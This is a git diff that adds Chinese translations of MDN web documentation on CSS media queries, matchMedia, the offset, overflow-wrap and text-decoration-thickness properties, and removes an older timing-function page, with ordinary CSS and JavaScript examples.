diff --git a/files/zh-cn/web/css/media_queries/index.html b/files/zh-cn/web/css/media_queries/index.html new file mode 100644 index 0000000000..9936c531f1 --- /dev/null +++ b/files/zh-cn/web/css/media_queries/index.html @@ -0,0 +1,109 @@ +--- +title: 媒体查询 +slug: Web/CSS/媒体查询 +tags: + - CSS + - 参考 + - 响应式设计 + - 媒体查询 + - 总览 +translation_of: Web/CSS/Media_Queries +--- +
{{CSSRef}}
+ +

通过媒体查询Media queries),您可以根据各种设备特征和参数的值或者是否存在来调整您的网站或应用。

+ +

它们是响应式设计的关键组成部分。 例如,媒体查询可以缩小小型设备上的字体大小,在纵向模式下查看页面时增加段落之间的填充,或者增加触摸屏上按钮的大小。

+ +

在 CSS 中,使用 {{cssxref("@media")}} at-rule 根据媒体查询的结果有条件地应用样式表的一部分。 使用 {{cssxref("@import")}} 有条件地应用整个样式表。

+ +

在 HTML 中使用媒体查询

+ +

HTML 中,媒体查询可以应用于各种元素:

+ +
    +
  • 在{{HTMLElement("link")}}元素的{{htmlattrxref("media", "link")}}属性中,它们定义了待应用链接资源(通常是CSS)的媒体。
  • +
  • 在{{HTMLElement("source")}}元素的{{htmlattrxref("media", "source")}}属性中,它们定义待应用源的媒体。 (这仅在{{HTMLElement("picture")}}元素内有效。)
  • +
  • 在{{HTMLElement("style")}}元素的{{htmlattrxref("media", "style")}}属性中,它们定义待应用样式的媒体。
  • +
+ +

在 JavaScript 中使用媒体查询

+ +

JavaScript中,您可以使用 {{domxref("Window.matchMedia()")}} 方法根据媒体查询测试窗口。 您还可以使用{{domxref("MediaQueryList.addListener()")}}在查询状态发生变化时收到通知。 借助此功能,您的站点或应用可以响应设备配置,方向或状态的更改。

+ +

您可以学习更多以编程方式使用媒体查询在测试媒体查询中。

+ +

参考

+ +

At-rules

+ +
+
    +
  • {{cssxref("@import")}}
  • +
  • {{cssxref("@media")}}
  • +
+
+ +

指南

+ +
+
使用媒体查询
+
介绍媒体查询和媒体查询的的语法以及用于构造媒体查询表达式的运算符和媒体功能。
+
编程方式使用媒体查询
+
描述如何在 JavaScript 代码中使用媒体查询来确定设备的状态,以及设置在媒体查询结果发生更改时(例如,当用户旋转屏幕或调整浏览器大小时)通知代码的监听器。
+
使用媒体查询增强网站的可访问性
+
了解媒体查询如何帮助用户更好地了解您的网站。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('CSS5 Media Queries')}}{{Spec2('CSS5 Media Queries')}}
{{SpecName('CSS3 Conditional')}}{{Spec2('CSS3 Conditional')}}
{{SpecName('CSS4 Media Queries')}}{{Spec2('CSS4 Media Queries')}}
{{SpecName('CSS3 Media Queries')}}{{Spec2('CSS3 Media Queries')}}
{{SpecName('CSS2.1', 'media.html')}}{{Spec2('CSS2.1')}}Initial definition
+ +

浏览器兼容性

+ +

@media rule

+ + + +

{{Compat("css.at-rules.media")}}

+ +

参见

+ +
    +
  • Use {{cssxref("@supports")}} to apply styles that depend on browser support for various CSS technologies.
  • +
diff --git a/files/zh-cn/web/css/media_queries/testing_media_queries/index.html b/files/zh-cn/web/css/media_queries/testing_media_queries/index.html new file mode 100644 index 0000000000..0d33436410 --- /dev/null +++ b/files/zh-cn/web/css/media_queries/testing_media_queries/index.html @@ -0,0 +1,90 @@ +--- +title: 使用编程方法测试媒体查询 +slug: Web/Guide/CSS/Testing_media_queries +tags: + - CSS + - DOM + - Event + - Media Queries + - Web +translation_of: Web/CSS/Media_Queries/Testing_media_queries +--- +
{{cssref}}
+ +

{{Glossary("DOM")}} 提供了通过编程方法来获得媒体查询结果的特性。这是通过 {{domxref("MediaQueryList")}} 接口和它的方法来实现的。创建了 MediaQueryList 对象之后,就可以通过它来检查查询结果,或者设置事件监听器,在查询结果发生变化时自动接收到通知。

+ +

创建媒体查询列表

+ +

在获取查询结果前,首先要创建查询列表,也就是 MediaQueryList 对象来存放媒体查询。为了实现这个目的,可以使用 {{domxref("window.matchMedia")}} 方法。

+ +

举个例子,设置一个用来判断设备的旋转方向(横屏还是竖屏)的查询列表:

+ +
var mediaQueryList = window.matchMedia("(orientation: portrait)");
+
+ +

检查查询结果

+ +

一旦创建了媒体查询列表,你就可以通过检查它的 matches 属性来获取相应的查询结果,上述属性会直接返回查询结果:

+ +
if (mediaQueryList.matches) {
+  /* 设备的旋转方向为纵向 portrait */
+} else {
+  /* 设备的旋转方向不是纵向,也就是横向 landscape */
+}
+
+ +

接收查询提醒

+ +

如果你需要持续观察查询结果值的变化情况,那么,注册一个监听器比手动检查查询结果要高效很多。要注册监听器,只要在 {{domxref("MediaQueryList")}} 对象上使用 addListener() 方法,并使用一个回调函数作为其参数。这样,就通过实现 {{domxref("MediaQueryListListener")}} 接口指定了一个监听器。每当查询结果发生变化,比如从 true 变为 false 时,就会调用一遍传入的回调函数。

+ +
// 创建查询列表
+const mediaQueryList = window.matchMedia("(orientation: portrait)");
+
+// 定义回调函数
+function handleOrientationChange(mql) {
+  // ...
+}
+
+// 先运行一次回调函数
+handleOrientationChange(mediaQueryList);
+
+// 为查询列表注册监听器,同时将回调函数传给监听器
+mediaQueryList.addListener(handleOrientationChange);
+
+ +

上述代码创建了一个屏幕方向的测试查询列表 mediaQueryList,并且添加了事件监听器。需要注意的是,当我们添加监听后,我们其实直接调用了一次监听。这会让我们的监听器以目前设备的屏幕方向来初始化判定代码。换句话说,如果我们代码中设定设备处于竖屏模式,而实际上它在启动时处于横屏模式,那么我们在后面的判定就会出现矛盾。

+ +

然后,我们就能在 handleOrientationChange() 方法中检查查询结果,比如,可以设置屏幕方向变化后的逻辑处理代码:

+ +
function handleOrientationChange(evt) {
+  if (evt.matches) {
+    /* The viewport is currently in portrait orientation */
+  } else {
+    /* The viewport is currently in landscape orientation */
+  }
+}
+
+ +

终止查询通知

+ +

如果不再需要再接收媒体查询值变化的相关通知,那么,只要调用 MediaQueryListremoveListener() 方法,就可以方便地移除监听:

+ +
mediaQueryList.removeListener(handleOrientationChange);
+
+ +

浏览器兼容性

+ +

MediaQueryList 接口

+ + + +

{{Compat("api.MediaQueryList")}}

+ +

另见

+ +
    +
  • Media queries
  • +
  • {{domxref("window.matchMedia()") }}
  • +
  • {{domxref("MediaQueryList") }}
  • +
  • {{domxref("MediaQueryListListener") }}
  • +
diff --git a/files/zh-cn/web/css/media_queries/using_media_queries/index.html b/files/zh-cn/web/css/media_queries/using_media_queries/index.html new file mode 100644 index 0000000000..bfb15efa67 --- /dev/null +++ b/files/zh-cn/web/css/media_queries/using_media_queries/index.html @@ -0,0 +1,412 @@ +--- +title: 使用媒体查询 +slug: Web/Guide/CSS/Media_queries +tags: + - CSS + - CSS媒体查询 + - Media + - Web + - 媒体 + - 媒体查询 + - 指南 +translation_of: Web/CSS/Media_Queries/Using_media_queries +--- +
{{cssref}}
+ +

媒体查询Media queries)非常实用,尤其是当你想要根据设备的大致类型(如打印设备与带屏幕的设备)或者特定的特征和设备参数(例如屏幕分辨率和浏览器{{glossary("viewport", "视窗")}}宽度)来修改网站或应用程序时。

+ +

媒体查询常被用于以下目的:

+ +
    +
  • 有条件的通过 {{cssxref("@media")}} 和 {{cssxref("@import")}} at-rules 用CSS 装饰样式。
  • +
  • media= 属性为{{HTMLElement("style")}}, {{HTMLElement("link")}}, {{HTMLElement("source")}}和其他HTML元素指定特定的媒体类型。如:
  • +
+ +
<link rel="stylesheet" src="styles.css" media="screen" />
+<link rel="stylesheet" src="styles.css" media="print" />
+
+ + + +
+

注意:本页的例子使用CSS @media 的方式来说明目的,但是对于所有类型的媒体查询,基本语法均相同。

+
+ +

语法

+ +

每条媒体查询语句都由一个可选的媒体类型和任意数量的媒体特性表达式构成。可以使用多种逻辑操作符合并多条媒体查询语句。媒体查询语句不区分大小写。

+ +

当媒体类型(如果指定)与在其上显示文档的设备匹配并且所有媒体功能表达式都计算为true时,媒体查询将计算为true。 涉及未知媒体类型的查询始终为false。

+ +
+

注意: 即使媒体查询返回false,带有媒体查询附加到其{{HTMLElement("link")}}标记的样式表仍将下载。 但是,除非查询结果变为true,否则其内容将不适用。

+
+ +

媒体类型

+ +

媒体类型Media types)描述设备的一般类别。除非使用 notonly 逻辑操作符,媒体类型是可选的,并且会(隐式地)应用 all 类型。

+ +
+
all
+
适用于所有设备。
+
print
+
适用于在打印预览模式下在屏幕上查看的分页材料和文档。 (有关特定于这些格式的格式问题的信息,请参阅分页媒体。)
+
screen
+
主要用于屏幕。
+
speech
+
主要用于语音合成器。
+
+ +
被废弃的媒体类型: CSS2.1 和  Media Queries 3 定义了一些额外的媒体类型(tty, tv, projection, handheld, braille, embossed, 以及 aural),但是他们在Media Queries 4 中已经被废弃,并且不应该被使用。aural类型被替换为具有相似效果的speech
+ +

媒体特性

+ +

媒体特性Media features)描述了 {{glossary("user agent")}}、输出设备,或是浏览环境的具体特征。媒体特性表达式是完全可选的,它负责测试这些特性或特征是否存在、值为多少。每条媒体特性表达式都必须用括号括起来。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
名称简介备注
{{cssxref("@media/any-hover", "any-hover")}}是否有任何可用的输入机制允许用户(将鼠标等)悬停在元素上?在 Media Queries Level 4 中被添加。
{{cssxref("@media/any-pointer", "any-pointer")}}可用的输入机制中是否有任何指针设备,如果有,它的精度如何?在 Media Queries Level 4 中被添加。
{{cssxref("@media/aspect-ratio", "aspect-ratio")}}视窗(viewport)的宽高比
{{cssxref("@media/color", "color")}}输出设备每个像素的比特值,常见的有 8、16、32 位。如果设备不支持输出彩色,则该值为 0
{{cssxref("@media/color-gamut", "color-gamut")}}用户代理和输出设备大致程度上支持的色域在 Media Queries Level 4 中被添加。
{{cssxref("@media/color-index", "color-index")}}输出设备的颜色查询表(color lookup table)中的条目数量,如果设备不使用颜色查询表,则该值为 0
{{cssxref("@media/device-aspect-ratio", "device-aspect-ratio")}} {{obsolete_inline}}输出设备的宽高比已在 Media Queries Level 4 中被弃用。
{{cssxref("@media/device-height", "device-height")}} {{obsolete_inline}}输出设备渲染表面(如屏幕)的高度已在 Media Queries Level 4 中被弃用。
{{cssxref("@media/device-width", "device-width")}} {{obsolete_inline}}输出设备渲染表面(如屏幕)的宽度已在 Media Queries Level 4 中被弃用。
{{cssxref("@media/display-mode", "display-mode")}} +

应用程序的显示模式,如web app的manifest中的display 成员所指定

+
在 Web App Manifest spec被定义.
{{cssxref("@media/forced-colors", "forced-colors")}}检测是user agent否限制调色板在 Media Queries Level 5 中被添加。
{{cssxref("@media/grid", "grid")}}输出设备使用网格屏幕还是点阵屏幕?
{{cssxref("@media/height", "height")}}视窗(viewport)的高度
{{cssxref("@media/hover", "hover")}} +

主要输入模式是否允许用户在元素上悬停

+
在 Media Queries Level 4 中被添加。
{{cssxref("@media/inverted-colors", "inverted-colors")}}user agent或者底层操作系统是否反转了颜色在 Media Queries Level 5 中被添加。
{{cssxref("@media/light-level", "light-level")}}环境光亮度在 Media Queries Level 5 中被添加。
{{cssxref("@media/monochrome", "monochrome")}} +

输出设备单色帧缓冲区中每个像素的位深度。如果设备并非黑白屏幕,则该值为 0

+
{{cssxref("@media/orientation", "orientation")}}视窗(viewport)的旋转方向
{{cssxref("@media/overflow-block", "overflow-block")}} +

输出设备如何处理沿块轴溢出视窗(viewport)的内容

+
在 Media Queries Level 4 中被添加。
{{cssxref("@media/overflow-inline", "overflow-inline")}} +

沿内联轴溢出视窗(viewport)的内容是否可以滚动?

+
在 Media Queries Level 4 中被添加。
{{cssxref("@media/pointer", "pointer")}} +

主要输入机制是一个指针设备吗?如果是,它的精度如何?

+
在 Media Queries Level 4 中被添加。
{{cssxref("@media/prefers-color-scheme", "prefers-color-scheme")}}探测用户倾向于选择亮色还是暗色的配色方案在 Media Queries Level 5 中被添加。
{{cssxref("@media/prefers-contrast", "prefers-contrast")}}探测用户是否有向系统要求提高或降低相近颜色之间的对比度在 Media Queries Level 5 中被添加。
{{cssxref("@media/prefers-reduced-motion", "prefers-reduced-motion")}}用户是否希望页面上出现更少的动态效果在 Media Queries Level 5 中被添加。
{{cssxref("@media/prefers-reduced-transparency", "prefers-reduced-transparency")}}用户是否倾向于选择更低的透明度在 Media Queries Level 5 中被添加。
{{cssxref("@media/resolution", "resolution")}}输出设备的像素密度(分辨率)
{{cssxref("@media/scan", "scan")}}输出设备的扫描过程(适用于电视等)
{{cssxref("@media/scripting", "scripting")}}探测脚本(例如 JavaScript)是否可用在 Media Queries Level 5 中被添加。
{{cssxref("@media/update-frequency", "update")}}输出设备更新内容的渲染结果的频率在 Media Queries Level 4 中被添加。
{{cssxref("@media/width", "width")}}视窗(viewport)的宽度,包括纵向滚动条的宽度
+ +

逻辑操作符

+ +

逻辑操作符logical operatorsnot, and, 和 only 可用于联合构造复杂的媒体查询,您还可以通过用逗号分隔多个媒体查询,将它们组合为一个规则。

+ +

and

+ +

 and 操作符用于将多个媒体查询规则组合成单条媒体查询,当每个查询规则都为真时则该条媒体查询为真,它还用于将媒体功能与媒体类型结合在一起。

+ +

not

+ +

not运算符用于否定媒体查询,如果不满足这个条件则返回true,否则返回false。 如果出现在以逗号分隔的查询列表中,它将仅否定应用了该查询的特定查询。 如果使用not运算符,则还必须指定媒体类型。

+ +
+

注意:在Level 3中,not关键字不能用于否定单个媒体功能表达式,而只能用于否定整个媒体查询。

+
+ +

only

+ +

only运算符仅在整个查询匹配时才用于应用样式,并且对于防止较早的浏览器应用所选样式很有用。 当不使用only时,旧版本的浏览器会将screen and (max-width: 500px)简单地解释为screen,忽略查询的其余部分,并将其样式应用于所有屏幕。 如果使用only运算符,则还必须指定媒体类型。

+ +

, (逗号)

+ +

逗号用于将多个媒体查询合并为一个规则。 逗号分隔列表中的每个查询都与其他查询分开处理。 因此,如果列表中的任何查询为true,则整个media语句均返回true。 换句话说,列表的行为类似于逻辑或or运算符。

+ +

定位媒体类型

+ +

媒体类型描述了给定设备的一般类别。 尽管通常在设计网站时会考虑屏幕,但您可能希望创建针对特殊设备(例如打印机或基于音频的屏幕阅读器)的样式。 例如,此CSS针对打印机:

+ +
@media print { ... }
+
+ +

您还可以定位多个设备。 例如,此@media规则使用两个媒体查询来同时定位屏幕和打印设备

+ +
@media screen, print { ... }
+
+ +

有关所有媒体类型的列表,请参见Media types。 由于它们仅以非常广泛的术语描述设备,因此只有少数几种可用。 要定位更具体的属性,请改用媒体功能

+ +

定位媒体特性

+ +

媒体功能描述了给定的{{glossary("user agent")}}的输出设备或环境的特定特征。 例如,您可以将特定样式应用于宽屏显示器,使用鼠标的计算机,或应用于在弱光条件下使用的设备。 当用户的主要输入机制(例如鼠标)可以悬停在元素上时,如下为一个示例:

+ +
@media (hover: hover) { ... }
+
+ +

许多媒体功能都是范围功能,这意味着可以在它们前面加上“最小”或“最大”来表示“最小条件”或“最大条件”约束。 例如,仅当您的浏览器的{{glossary("viewport")}}宽度等于或小于12450px时,此CSS才会应用样式:

+ +
@media (max-width: 12450px) { ... }
+
+ +

如果您在未指定值的情况下创建媒体功能查询,则该样式将全部被应用,只要该查询的值不为零(或在Level 4中为none)即可。 例如,此CSS将适用于任何带有彩色屏幕的设备:

+ +
@media (color) { ... }
+
+ +

如果某个功能不适用于运行浏览器的设备,则涉及该媒体功能的表达式始终为false。 例如,将不会使用嵌套在以下查询中的样式,因为没有语音专用设备具有屏幕长宽比:

+ +
@media speech and (aspect-ratio: 11/5) { ... }
+
+ +

有关更多媒体功能media feature示例,请参阅每个特定功能的参考页。

+ +

创建复杂查询

+ +

有时您可能想创建一个取决于多个条件的媒体查询。 这就是逻辑运算符使用的场景:notand,和 only。 此外,您可以将多个媒体查询合并到一个逗号分隔的列表中。 这使您可以在不同情况下应用相同的样式。

+ +

在前面的示例中,我们已经看到and运算符用于将媒体类型与媒体功能分组。 and运算符还可以将多个媒体功能组合到单个媒体查询中。 同时,not运算符会否定媒体查询,从而基本上颠倒了它的正常含义。 唯一的运算符可防止较早的浏览器应用样式。

+ +
+

注意: 在大多数情况下,默认情况下,如果未指定其他类型,则使用all媒体类型。 但是,如果使用notonly运算符,则必须显式指定媒体类型。

+
+ +

结合多种类型和特性

+ +

and关键字将媒体功能与媒体类型或其他媒体功能组合在一起。 此示例结合了两种媒体功能,以将样式限制为宽度至少为30 em的横向的设备:

+ +
@media (min-width: 30em) and (orientation: landscape) { ... }
+
+ +

要将样式限制为带有屏幕的设备,可以将媒体功能链接到screen媒体类型:

+ +
@media screen and (min-width: 30em) and (orientation: landscape) { ... }
+ +

测试多重查询

+ +

当用户的设备与各种媒体类型,功能或状态中的任何一种匹配时,可以使用逗号分隔的列表来应用样式。 例如,如果用户设备的最小高度为680px或为纵向模式的屏幕设备,则以下规则将应用其样式:

+ +
@media (min-height: 680px), screen and (orientation: portrait) { ... }
+
+ +

以上面的示例为例,如果用户使用的打印机的页面高度为800像素,则media语句将返回true,因为将应用第一个查询。 同样,如果用户使用的是纵向模式的智能手机,并且视口高度为480px,则将应用第二个查询,并且media语句仍将返回true。

+ +

反转查询的含义

+ +

not关键字会反转整个媒体查询的含义。 它只会否定要应用的特定媒体查询。 (因此,它不会应用于以逗号分隔的媒体查询列表中的每个媒体查询。)not关键字不能用于否定单个功能查询,只能用于否定整个媒体查询。 看看以下not关键字的例子:

+ +
@media not all and (monochrome) { ... }
+
+ +

所以上述查询等价于:

+ +
@media not (all and (monochrome)) { ... }
+
+ +

而不是:

+ +
@media (not all) and (monochrome) { ... }
+ +

再看另一个例子,如下媒体查询:

+ +
@media not screen and (color), print and (color) { ... }
+
+ +

等价于:

+ +
@media (not (screen and (color))), print and (color) { ... }
+ +

提升老版本浏览器兼容性

+ +

only关键字可防止不支持带有媒体功能的媒体查询的旧版浏览器应用给定的样式。 它对现代浏览器没有影响。

+ +
@media only screen and (color) { ... }
+
+ +

版本 4 中的语法改进

+ +

媒体查询4级规范对语法进行了一些改进,以使用具有“范围”类型(例如宽度或高度,减少冗余)的功能进行媒体查询。 级别4添加了用于编写此类的查询范围上下文。 例如,使用最大宽度max- 功能,我们可以编写以下代码:

+ +
+

Note: 媒体查询4级规范在现代浏览器中具有合理的支持,但某些媒体功能并未得到很好的支持。 有关更多详细信息,请参见 @media browser compatibility table

+
+ +
@media (max-width: 30em) { ... }
+ +

在媒体查询4级规范可以这样写:

+ +
@media (width <= 30em) { ... }
+
+ +

使用min-max-可以测试一个在两个值之间的宽度

+ +
@media (min-width: 30em) and (max-width: 50em) { ... }
+ +

用4级语法书写如下

+ +
@media (30em <= width <= 50em ) { ... }
+
+
+ +

媒体查询4级规范还添加了用and, not, 和 or实现的完整的布尔运算来合并媒体查询的方法。

+ +

使用 not否定一个特性

+ +

在媒体功能周围使用not()会否定查询中的该特性。 例如,如果设备没有悬停功能,则not(hover)将被匹配:

+ +
@media (not(hover)) { ... }
+ +

用 or测试多个特性

+ +

您可以使用or测试多个功能之间的匹配,如果任何功能为true,则解析为true。 例如,以下查询测试具有单色显示或悬停功能的设备:

+ +
@media (not (color)) or (hover) { ... }
+ +

参见

+ + diff --git a/files/zh-cn/web/css/offset/index.html b/files/zh-cn/web/css/offset/index.html new file mode 100644 index 0000000000..e61a0ffd7a --- /dev/null +++ b/files/zh-cn/web/css/offset/index.html @@ -0,0 +1,97 @@ +--- +title: offset +slug: Web/CSS/偏移 +translation_of: Web/CSS/offset +--- +
{{SeeCompatTable}}{{CSSRef}}{{draft}}
+ +

这个 offset 是CSS属性的快速属性动画元素沿着定义的路径。

+ +
+

早期版本 规格 属性叫做 motion.

+
+ +

{{cssinfo}}

+ +

Syntax

+ +
/* 偏移位置 */
+offset: auto
+offset: 10px 30px;
+offset: none;
+
+/* 偏移路径 */
+offset: ray(45deg closest-side);
+offset: path(M 100 100 L 300 100 L 200 300 z);
+offset: url(arc.svg);
+
+/*  偏移路径的距离和/或旋转  */
+offset: url(circle.svg) 100px;
+offset: url(circle.svg) 40%;
+offset: url(circle.svg) 30deg;
+offset: url(circle.svg) 50px 20deg;
+
+/*  包括锚偏移  */
+offset: ray(45deg closest-side) / 40px 20px;
+offset: url(arc.svg) 2cm / 0.5cm 3cm;
+offset: url(arc.svg) 30deg / 50px 100px;
+
+ +

语法形式

+ +
{{csssyntax}}
+ +

举例

+ +

HTML

+ +
<div id="offsetElement"></div>
+
+ +

CSS

+ +
@keyframes move {
+  from {
+    offset-distance: 0%;
+  }
+
+  to {
+    offset-distance: 100%;
+  }
+}
+
+#offsetElement {
+  width: 50px;
+  height: 50px;
+  background-color: blue;
+  offset: path("M 100 100 L 300 100 L 200 300 z") auto;
+  animation: move 3s linear infinite;
+}
+
+ +

Result

+ +

{{EmbedLiveSample("Example", 350, 350)}}

+ +

规格

+ + + + + + + + + + + + + + +
规格使用状态注释
{{SpecName('Motion Path Level 1', '#offset-shorthand', 'offset')}}{{Spec2('Motion Path Level 1')}}Initial definition
+ +

浏览器兼容性

+ +

该兼容性表生成从该网页的结构化数据。如果你愿意,请查看https://github.com/mdn/browser-compat-数据,并发送一个引入请求。

+ +

{{Compat("css.properties.offset")}}

diff --git a/files/zh-cn/web/css/overflow-wrap/index.html b/files/zh-cn/web/css/overflow-wrap/index.html new file mode 100644 index 0000000000..5c2c0c687d --- /dev/null +++ b/files/zh-cn/web/css/overflow-wrap/index.html @@ -0,0 +1,147 @@ +--- +title: overflow-wrap +slug: Web/CSS/word-wrap +tags: + - CSS Text Module Level 3 + - CSS3 + - W3C + - overflow-wrap + - word-wrap +translation_of: Web/CSS/overflow-wrap +--- +
{{CSSRef}}
+ +
+ +

{{EmbedInteractiveExample("pages/css/overflow-wrap.html")}}

+ + + +

CSS 属性 overflow-wrap 是用来说明当一个不能被分开的字符串太长而不能填充其包裹盒时,为防止其溢出,浏览器是否允许这样的单词中断换行。

+ +
+

与{{cssxref("word-break")}}相比,overflow-wrap仅在无法将整个单词放在自己的行而不会溢出的情况下才会产生中断。

+
+ +
注:word-wrap 属性原本属于微软的一个私有属性,在 CSS3 现在的文本规范草案中已经被重名为 {{cssxref("overflow-wrap")}} 。 word-wrap 现在被当作 overflow-wrap 的 “别名”。 稳定的谷歌 Chrome 和 Opera 浏览器版本支持这种新语法。
+ +

语法

+ +
/* Keyword values */
+overflow-wrap: normal;
+overflow-wrap: break-word;
+
+/* Global values */
+overflow-wrap: inherit;
+overflow-wrap: initial;
+overflow-wrap: unset;
+
+
+ +

overflow-wrap 属性指定为从下面的值列表中选择的单个关键字。

+ +

+ +
+
normal
+
行只能在正常的单词断点处中断。(例如两个单词之间的空格)。
+
break-word
+
表示如果行内没有多余的地方容纳该单词到结尾,则那些正常的不能被分割的单词会被强制分割换行。
+
+ +

形式语法

+ +
{{csssyntax}}
+ +

示例

+ +

比较 overflow-wrap、word-break 和 hyphens

+ +

本示例比较分解长单词时,overflow-wrapword-break,  hyphens 的结果。

+ +

HTML

+ +
<p>They say the fishing is excellent at
+  Lake <em class="normal">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
+  though I've never been there myself. (<code>normal</code>)</p>
+<p>They say the fishing is excellent at
+  Lake <em class="ow-anywhere">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
+  though I've never been there myself. (<code>overflow-wrap: anywhere</code>)</p>
+<p>They say the fishing is excellent at
+  Lake <em class="ow-break-word">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
+  though I've never been there myself. (<code>overflow-wrap: break-word</code>)</p>
+<p>They say the fishing is excellent at
+  Lake <em class="word-break">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
+  though I've never been there myself. (<code>word-break</code>)</p>
+<p>They say the fishing is excellent at
+  Lake <em class="hyphens">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
+  though I've never been there myself. (<code>hyphens</code>, without <code>lang</code> attribute)</p>
+<p lang="en">They say the fishing is excellent at
+  Lake <em class="hyphens">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
+  though I've never been there myself. (<code>hyphens</code>, English rules)</p>
+<p class="hyphens" lang="de">They say the fishing is excellent at
+  Lake <em class="hyphens">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
+  though I've never been there myself. (<code>hyphens</code>, German rules)</p>
+ +

CSS

+ +
p {
+   width: 13em;
+   margin: 2px;
+   background: gold;
+}
+
+.ow-anywhere {
+   overflow-wrap: anywhere;
+}
+
+.ow-break-word {
+   overflow-wrap: break-word;
+}
+
+.word-break {
+   word-break: break-all;
+}
+
+.hyphens {
+   hyphens: auto;
+}
+ +

结果

+ +

{{ EmbedLiveSample('Comparing_overflow-wrap_word-break_and_hyphens', '100%', 260) }}

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Text', '#propdef-overflow-wrap', 'overflow-wrap') }}{{ Spec2('CSS3 Text') }}Initial definition
+ +

{{cssinfo}}

+ +

浏览器兼容性

+ +

{{Compat("css.properties.overflow-wrap")}}

+ +

另参见

+ +
    +
  • {{cssxref("word-break")}}
  • +
  • {{cssxref("hyphens")}}
  • +
  • {{cssxref("text-overflow")}}
  • +
diff --git a/files/zh-cn/web/css/text-decoration-thickness/index.html b/files/zh-cn/web/css/text-decoration-thickness/index.html new file mode 100644 index 0000000000..cdffd6eced --- /dev/null +++ b/files/zh-cn/web/css/text-decoration-thickness/index.html @@ -0,0 +1,119 @@ +--- +title: 文本装饰线厚度(粗细) +slug: Web/CSS/文本装饰线厚度(粗细) +tags: + - 装饰线粗细 装饰线厚度 +translation_of: Web/CSS/text-decoration-thickness +--- +
{{CSSRef}}
+ +
CSS 属性 text-decoration-thickness 用于设置元素中文本所使用的装饰线(如 line-through、underline 或 overline)的笔触厚度。
+ +

语法

+ +
/* Single keyword */
+text-decoration-thickness: auto;
+text-decoration-thickness: from-font;
+
+/* length */
+text-decoration-thickness: 0.1em;
+text-decoration-thickness: 3px;
+
+/* percentage */
+text-decoration-thickness: 10%;
+
+/* Global values */
+text-decoration-thickness: inherit;
+text-decoration-thickness: initial;
+text-decoration-thickness: unset;
+ +

+ +
+
auto
+
由浏览器为文本装饰线选择合适的厚度。
+
from-font
+
如果字体文件中包含了首选的厚度值,则使用字体文件的厚度值。如果字体文件中没有包含首选的厚度值,则效果和设置为 auto 一样,由浏览器选择合适的厚度值。
+
<length>
+
将文本装饰线的厚度设置为一个 {{cssxref('length')}} 类型的值,覆盖掉字体文件建议的值或浏览器默认的值。
+
<percentage>
+
Specifies the thickness of the text decoration line as a {{cssxref('percentage')}} of 1em in the current font. A percentage inherits as a relative value, and so therefore scales with changes in the font. The browser must use a minimum of 1 device pixel. For a given application of this property, the thickness is constant across the whole box it is applied to, even if there are child elements with a different font size.
+
+ +

Formal definition

+ +

{{CSSInfo}}

+ +

Formal syntax

+ +
{{csssyntax}}
+ +

示例

+ +

Varying thickness

+ +

HTML

+ +
<p class="thin">Here's some text with a 1px red underline.</p>
+<p class="thick">This one has a 5px red underline.</p>
+<p class="shorthand">This uses the equivalent shorthand.</p>
+ +

CSS

+ +
.thin {
+  text-decoration-line: underline;
+  text-decoration-style: solid;
+  text-decoration-color: red;
+  text-decoration-thickness: 1px;
+}
+
+.thick {
+  text-decoration-line: underline;
+  text-decoration-style: solid;
+  text-decoration-color: red;
+  text-decoration-thickness: 5px;
+}
+
+.shorthand {
+  text-decoration: underline solid red 5px;
+}
+ +

Results

+ +

{{ EmbedLiveSample('Varying_thickness', '', '', '') }}

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Text Decoration', '#text-decoration-width-property', 'text-decoration-width')}}{{Spec2('CSS4 Text Decoration')}}Initial definition.
+ +
+

Note: The property used to be called text-decoration-width, but was updated in 2019 to text-decoration-thickness.

+
+ +

浏览器兼容性

+ + + +

{{Compat("css.properties.text-decoration-thickness")}}

+ +

相关链接

+ +
    +
  • {{cssxref("text-decoration")}}
  • +
  • {{cssxref("text-underline-offset")}}
  • +
diff --git a/files/zh-cn/web/css/timing-function/index.html b/files/zh-cn/web/css/timing-function/index.html deleted file mode 100644 index aef640fdd3..0000000000 --- a/files/zh-cn/web/css/timing-function/index.html +++ /dev/null @@ -1,266 +0,0 @@ ---- -title: -slug: Web/CSS/timing-function -tags: - - CSS - - timing-function -translation_of: Web/CSS/easing-function -translation_of_original: Web/CSS/timing-function ---- -

{{ CSSRef() }}

- -

<timing-function> CSS 数据类型表示一个数学函数,它描述了在一个过渡或动画中一维数值的改变速度。这实质上让你可以自己定义一个加速度曲线,以便动画的速度在动画的过程中可以进行改变。这些函数通常被称为缓动函数。

- -

这是一个表示时间输出比率的函数,表示为{{cssxref("<number>")}},0, 0 代表初始状态,1, 1 代表终止状态。

- -

输出比可以大于1.0(或者小于0.0)。这是因为在一种反弹效果中,动画是可以比最后的状态走的更远的,然后再回到最终状态。

- -

不过,如果输出值超过了它允许的范围,比如组成一个颜色的值大于了255或者小于了0,这个值会被修改为允许范围内的最接近的值(在颜色值这个例子中分别为255和0)。一些贝塞尔曲线展示了这些性质。

- -

定时函数

- -
-

CSS 支持两种定时函数:立方贝塞尔曲线的子集和阶梯函数。这些函数中最有用的是一个关键字,可以很容易地引用它们。

- -

cubic-bezier() 定时函数

- - - - - - - - -
-

-
-

cubic-bezier() 定义了一条 立方贝塞尔曲线(cubic Bézier curve)。这些曲线是连续的,一般用于动画的平滑变换,也被称为缓动函数(easing functions)。

- -

